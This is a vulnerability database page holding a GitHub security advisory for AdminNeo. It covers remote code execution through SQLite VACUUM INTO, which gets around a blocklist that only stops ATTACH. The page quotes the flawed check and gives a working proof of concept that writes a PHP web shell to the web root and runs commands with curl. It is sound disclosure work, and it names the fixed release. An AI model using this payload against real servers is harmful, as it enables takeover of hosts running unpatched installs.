Search

Find a vulnerability

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

    Related vulnerabilities

    GHSA-Q5MP-GFJF-CF2J

    Vulnerability from github – Published: 2026-10-30 22:51 – Updated: 2026-10-30 22:51
    VLAI
    Summary
    AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
    Details

    Summary

    Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

    Originally reported in Adminer: GHSA-q4f2-39gr-45jh

    Root Cause

    sql.inc.php, line 146:

    if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}

    Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

    Steps To Reproduce

    1. Login to SQLite

    1. Open AdminNeo and select driver: SQLite
    2. Login and create a new database (e.g., stage.db)

    2. Inject PHP code and write the shell

    Navigate to SQL command and execute:

    CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

    The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

    3. Execute commands

    curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

    Collaborator Request

    This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

    Severity
    7.2 (High)
    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    Show details on source website
    To clipboard 

    {
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "adminneo-org/adminneo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-96630"
  ],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T22:51:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nAdminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.\n\nOriginally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)\n\n## Root Cause\nsql.inc.php, line 146:\n\n```php\nif (DIALECT == \"sqlite\" \u0026\u0026 preg_match(\"~^$space*+ATTACH\\\\b~i\", $q, $match)) {\n    // blocked\n}\n```\n\nOnly `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.\n\n## Steps To Reproduce\n\n### 1.  Login to SQLite\n1. Open AdminNeo and select driver: **SQLite**\n2. Login and create a new database (e.g., `stage.db`)\n\n### 2. Inject PHP code and write the shell\n\nNavigate to **SQL command** and execute:\n\n```sql\nCREATE TABLE \"\u003c?php system($_GET[\u0027c\u0027]); ?\u003e\" (i int);\nVACUUM INTO \u0027/var/www/html/shell.php\u0027;\n```\n\nThe SQLite file is written to `/var/www/html/shell.php`. The table name containing `\u003c?php` appears as raw bytes in the file. PHP\u0027s parser finds and executes it.\n\n### 3. Execute commands\n\n```shell\ncurl \"http://TARGET/shell.php?c=id\"\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!",
  "id": "GHSA-q5mp-gfjf-cf2j",
  "modified": "2026-10-30T22:51:37Z",
  "published": "2026-10-30T22:51:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adminneo-org/adminneo/commit/cf45efb3ac34e5e7b699cdc996f6eec2814ccda1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adminneo-org/adminneo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)"
}